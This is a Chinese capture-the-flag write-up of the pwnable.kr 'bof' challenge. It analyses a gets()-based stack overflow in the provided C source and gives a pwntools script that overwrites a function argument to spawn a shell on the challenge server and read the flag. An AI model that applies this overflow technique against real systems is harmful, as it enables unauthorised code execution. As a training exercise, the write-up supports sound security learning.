bof - pwnable

bof-pwnable栈溢出分析
本文分析了一个名为bof-pwnable的程序,通过源码审查发现其使用了不安全的gets函数,易导致栈溢出。通过构造特定payload,可以覆盖函数参数,触发system函数执行,实现远程代码执行。

bof - pwnable

1.获取题目

题目给出下载链接:程序文件;源码

2. 运行程序、查看文件类型、保护措施

在本地机上运行一下程序:运行提示需要输入一个passcode,随意输入一个密码提示Nah…

查看文件类型:是32位动态链接的elf

查看保护措施:

3.分析源码

因为题目有给出源码,所以先直接查看源码分析。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

main应该不存在问题,只是调用func函数并传入一个参数。func函数中gets函数应该存在漏洞的,并没有限制输入的长度,容易造成栈溢出。

func函数里面的if语句判断传入的参数是否等于0xcafebabe,从而决定是否运行system函数。

那么我们的思路就是例如gets函数造成栈溢出,覆盖传入的参数值,使得等式成立。即使a1 = 0xcafebabe


将程序丢进IDA,可以看到变量s到栈底的距离是0x2CH,加上ebp和eip。变量s到变量a1内存单元的距离是0x2CH + 4 + 4

先来构造payload

from pwn import *
payload = 'A'*0x2C + 'A'*0X4 + 'A'*0x4
payload += p32(0xcafebabe)

在本地测试运行一下:system函数已经被调用了

4. 编写利用脚本

from pwn import *

bof = remote('pwnable.kr','9000')#题目运行在pwnable.kr的9000端口

payload = 'A'*0x2C + 'A'*0X4 + 'A'*0x4
payload += p32(0xcafebabe)

bof.send(payload)
bof.interactive()#转移控制权限
//以下是获取sh之后,寻找flag
ls -l
cat flag
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值